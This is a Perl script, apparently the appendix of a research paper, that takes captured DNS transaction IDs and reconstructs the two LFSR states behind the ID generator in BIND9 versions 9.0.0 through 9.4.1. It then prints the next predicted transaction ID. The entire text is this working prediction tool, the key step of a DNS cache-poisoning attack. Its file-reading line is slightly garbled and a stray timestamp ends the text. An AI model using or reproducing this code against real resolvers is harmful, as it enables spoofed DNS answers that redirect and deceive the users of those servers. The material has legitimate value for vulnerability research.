# For BIND9 v9.2.3-9.4.1:
$tap1=0x80000057;
$tap2=0x80000062;
# For BIND9 v9.0.0-9.2.2:
# $tap1=0xc000002b; # (0x80000057>>1)|(1<<31)
# $tap2=0xc0000061; # (0x800000c2>>1)|(1<<31)
$initial_guess_bits=6;
@cand_lfsr1=();
@cand_lfsr2=();
use Time::HiRes qw(gettimeofday);
@txid=();
# Read all data from file. It is assumed to be in the format generated
# by the XSL transformation described in appendix A.
$count=0;
open(FD,$ARGV[0]) or die "ERROR: Can't open file $ARGV[0]";
while(my $line=)
{
# File format: TXID[4 hex] (ignore everything beyond those 4 digits)
if ($line=~/^([0-9a-fA-F]{4})/x)
{
push @txid,hex($1);
$count++;
}
else
{
die "ERROR: Can't parse line at count=$count.\n";
}
}
close(FD);
print "INFO: Found $count DNS queries in file.\n";
sub next_trxid
{
my ($lfsr1,$lfsr2)=@_;
my $val;
for (my $i=0;$i<$count+1;$i++)
{
$val=($lfsr1^$lfsr2) & 0xFFFF;
$skip1=$lfsr1 & 1;
$skip2=$lfsr2 & 1;
for (my $j1=0;$j1<=$skip2;$j1++)
{
$lfsr1 = ($lfsr1>>1) ^ (($lfsr1 & 1)*$tap1);
}
for (my $j2=0;$j2<=$skip1;$j2++)
{
$lfsr2 = ($lfsr2>>1) ^ (($lfsr2 & 1)*$tap2);
}
#printf "%04x ",$val;
}
return $val;
}
sub verify
{
my ($lfsr1,$width1,$lfsr2,$width2)=@_;
for (my $i=0;$i<$count;$i++)
{
my $cand=($lfsr1^$lfsr2) & 0xFFFF;
my $min_width=($width1<=$width2) ? $width1 : $width2;
$min_width=($min_width<=16) ? $min_width : 16;
if ($min_width<=0)
{
return 1;
}
my $mask=(1<<$min_width)-1;
if (($cand & $mask) != ($txid[$i] & $mask))
{
return 0;
}
$skip1=$lfsr1 & 1;
$skip2=$lfsr2 & 1;
for (my $j1=0;$j1<=$skip2;$j1++)
{
$lfsr1 = ($lfsr1>>1) ^ (($lfsr1 & 1)*$tap1);
if ($width1<32)
{
$width1--;
}
}
for (my $j2=0;$j2<=$skip1;$j2++)
{
$lfsr2 = ($lfsr2>>1) ^ (($lfsr2 & 1)*$tap2);
if ($width2<32)
{
$width2--;
}
}
}
return 1;
}
sub phase2
{
my ($lfsr1,$width1,$lfsr2,$width2)=@_;
my $motion_detected=0;
if ($width1<32)
{
my $guess_0=verify($lfsr1|(0<<$width1),$width1+1,$lfsr2,$width2);
my $guess_1=verify($lfsr1|(1<<$width1),$width1+1,$lfsr2,$width2);
if ($guess_0 ^ $guess_1)
{
#Exactly one is correct. So we know the bit.
$motion_detected=1;
if ($guess_1)
{
$lfsr1=$lfsr1|(1<<$width1);
}
$width1++;
}
elsif ((!$guess_0) and (!$guess_1))
{
# Inconsistent state, hence wrong guess in the first place
return 0;
}
}
if ($width2<32)
{
my $guess_0=verify($lfsr1,$width1,$lfsr2|(0<<$width2),$width2+1);
my $guess_1=verify($lfsr1,$width1,$lfsr2|(1<<$width2),$width2+1);
if ($guess_0 ^ $guess_1)
{
#Exactly one is correct. So we know the bit.
$motion_detected=1;
if ($guess_1)
{
$lfsr2=$lfsr2|(1<<$width2);
}
$width2++;
}
elsif ((!$guess_0) and (!$guess_1))
{
# Inconsistent state, hence wrong guess in the first place
return 0;
}
}
if (($width1==32) and ($width2==32))
{
# Final verification
if (verify($lfsr1,32,$lfsr2,32))
{
push @cand_lfsr1,$lfsr1;
push @cand_lfsr2,$lfsr2;
return 1;
}
else
{
# false alarm
return 0;
}
}
if ($motion_detected)
{
# At least one width was improved.
return phase2($lfsr1,$width1,$lfsr2,$width2);
}
else
{
# Resort to bit guessing.
if ($width1<32)
{
# Guessing another bit in LFSR1 and continuing...
return
phase2($lfsr1|(0<<$width1),$width1+1,$lfsr2,$width2)+
phase2($lfsr1|(1<<$width1),$width1+1,$lfsr2,$width2);
}
else
{
# Guessing another bit in LFSR2 and continuing...
return
phase2($lfsr1,$width1,$lfsr2|(0<<$width2),$width2+1)+
phase2($lfsr1,$width1,$lfsr2|(1<<$width2),$width2+1);
}
}
}
my $start_time=gettimeofday();
my $good=0;
for (my $lfsr1=0;$lfsr1<(1<<$initial_guess_bits);$lfsr1++)
{
my $lfsr2=($txid[0]^$lfsr1) & ((1<<$initial_guess_bits)-1);
if (verify($lfsr1,$initial_guess_bits,$lfsr2,$initial_guess_bits))
{
$good+=
phase2($lfsr1,$initial_guess_bits,$lfsr2,$initial_guess_bits);
}
}
my $end_time=gettimeofday();
print "INFO: ".$good." candidates found:\n";
for (my $k=0;$k<$good;$k++)
{
printf "*** LFSR1=0x%08x LFSR2=0x%08x Next_TRXID=0x%04x ***\n",
$cand_lfsr1[$k],$cand_lfsr2[$k],
next_trxid($cand_lfsr1[$k],$cand_lfsr2[$k]);
}
print "INFO: Elapsed time: ".($end_time-$start_time)." seconds\n";
exit(0);
2009-11-05 17:13 @759
